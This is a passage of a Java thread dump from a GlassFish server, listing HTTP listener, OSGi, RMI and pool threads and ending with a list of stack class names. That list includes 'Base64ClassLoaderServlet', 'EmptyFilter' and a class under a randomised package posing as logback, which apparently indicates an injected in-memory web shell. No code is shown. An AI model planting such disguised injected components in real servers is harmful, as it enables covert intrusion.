java.util.TimerThread.run(Timer.java:505) + +"AutoDeployer" #62 daemon [TIMED_WAITING] on java.util.TaskQueue@2f8e16f2 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"CM Configuration Updater" #77 daemon [WAITING] on java.util.LinkedList@696cada1 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.apache.felix.cm.impl.UpdateThread.run(UpdateThread.java:83) + at java.lang.Thread.run(Thread.java:750) + +"http-listener-2-expirer(1)" #52 daemon [TIMED_WAITING] on java.lang.Object@347e66e3 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:173) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"FelixResolver-9" #24 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6dc16471 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"FelixResolver-1" #14 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6dc16471 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"deployment-jar-scanner" #101 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5814096c + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"DestroyJavaVM" #72 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"deployment-jar-scanner" #105 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5814096c + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"transaction-manager" #64 daemon [WAITING] on java.util.TaskQueue@f61d007 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"pool-23-thread-1" #125 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@19290357 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-listener-2(5)" #51 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@6b98cf18 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:105) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:585) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:573) + at java.lang.Thread.run(Thread.java:750) + +"pool-1-thread-1" #32 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4c9764a7 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"pool-16-thread-1" #113 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@19290357 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"pool-18-thread-1" #115 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@19290357 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"RMI Reaper" #69 [WAITING] on java.lang.ref.ReferenceQueue$Lock@b52ebf5 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:150) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:171) + at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351) + at java.lang.Thread.run(Thread.java:750) + +"Thread-9" #35 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5eee66f5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at com.sun.common.util.logging.LoggingOutputStream.log(LoggingOutputStream.java:143) + at com.sun.common.util.logging.LoggingOutputStream$1.run(LoggingOutputStream.java:122) + +"Thread-38" #123 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2dd96e53 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Thread-37" #122 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2dd96e53 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"pool-13-thread-1" #110 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@127b37e5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:163) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.run(FutureTask.java:266) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"RMI TCP Connection(1)-192.168.215.4" #73 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) + at java.io.BufferedInputStream.read(BufferedInputStream.java:265) + at java.io.FilterInputStream.read(FilterInputStream.java:83) + at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$17/1716200670.run(Unknown Source) + at java.security.AccessController.doPrivileged(Native Method) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@68a46e25 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:150) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:171) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:188) + +"pool-4-thread-1" #38 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@9484ff + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Thread-28" #91 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@17eeefda + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"admin-listener(2)" #55 daemon [WAITING] on java.lang.Object@605ca313 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:200) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:585) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:573) + at java.lang.Thread.run(Thread.java:750) + +"pool-9-thread-1" #106 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7cef7f1 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:163) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.run(FutureTask.java:266) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"admin-listener(5)" #58 daemon [WAITING] on java.lang.Object@605ca313 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:200) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:585) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:573) + at java.lang.Thread.run(Thread.java:750) + +"http-listener-1-expirer(1)" #45 daemon [TIMED_WAITING] on java.lang.Object@6f96264e + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:173) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-listener-2(3)" #49 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@6b98cf18 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:105) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:585) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:573) + at java.lang.Thread.run(Thread.java:750) + +"pool-2-thread-1" #36 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@9484ff + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"ContainerBackgroundProcessor[StandardEngine[glassfish-web]]" #117 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1637) + at java.lang.Thread.run(Thread.java:750) + +"SCR Component Actor" #95 daemon [WAITING] on java.util.LinkedList@bc3430c + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.apache.felix.scr.impl.ComponentActorThread.run(ComponentActorThread.java:83) + at java.lang.Thread.run(Thread.java:750) + +"http-listener-2(2)" #48 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@6b98cf18 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:105) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:585) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:573) + at java.lang.Thread.run(Thread.java:750) + +"http-listener-2(1)" #47 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@6b98cf18 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:105) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:585) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:573) + at java.lang.Thread.run(Thread.java:750) + +"http-listener-1(5)" #44 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@6ad75494 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:105) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:585) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:573) + at java.lang.Thread.run(Thread.java:750) + +"FelixResolver-8" #23 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6dc16471 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"RunLevelControllerThread-1754837807031" #30 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@3864ad8b + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:764) + at java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:695) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-listener-2(4)" #50 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@6b98cf18 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:105) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:585) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:573) + at java.lang.Thread.run(Thread.java:750) + +"iiop-service-kernel(1) SelectorRunner" #61 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:114) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:339) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:279) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:593) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:573) + at java.lang.Thread.run(Thread.java:750) + +"admin-listener(4)" #57 daemon [WAITING] on java.lang.Object@605ca313 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:200) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:585) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:573) + at java.lang.Thread.run(Thread.java:750) + +"pool-12-thread-1" #109 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@17d21cc2 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:163) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.run(FutureTask.java:266) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +ch.qos.logback.AMKlP.ErrorHandler +org.apache.catalina.connector.CoyoteAdapter +org.apache.catalina.connector.CoyoteWriter +org.apache.catalina.core.ApplicationFilterChain +org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor +org.apache.catalina.core.StandardContextValve +org.apache.catalina.core.StandardHostValve +org.apache.catalina.core.StandardPipeline +org.apache.catalina.core.StandardWrapper +org.apache.catalina.core.StandardWrapperValve +org.apache.felix.cm.impl.UpdateThread +org.apache.felix.fileinstall.internal.DirectoryWatcher +org.apache.felix.framework.EventDispatcher +org.apache.felix.framework.EventDispatcher$1 +org.apache.felix.framework.FrameworkStartLevelImpl +org.apache.felix.framework.FrameworkWiringImpl +org.apache.felix.scr.impl.ComponentActorThread +org.glassfish.grizzly.ProcessorExecutor +org.glassfish.grizzly.filterchain.DefaultFilterChain +org.glassfish.grizzly.filterchain.ExecutorResolver$9 +org.glassfish.grizzly.http.server.HttpHandler +org.glassfish.grizzly.http.server.HttpServerFilter +org.glassfish.grizzly.nio.DefaultSelectorHandler +org.glassfish.grizzly.nio.SelectorRunner +org.glassfish.grizzly.nio.transport.TCPNIOTransport +org.glassfish.grizzly.strategies.AbstractIOStrategy +org.glassfish.grizzly.strategies.WorkerThreadIOStrategy +org.glassfish.grizzly.strategies.WorkerThreadIOStrategy$WorkerThreadRunnable +org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker +org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker +org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker +org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable 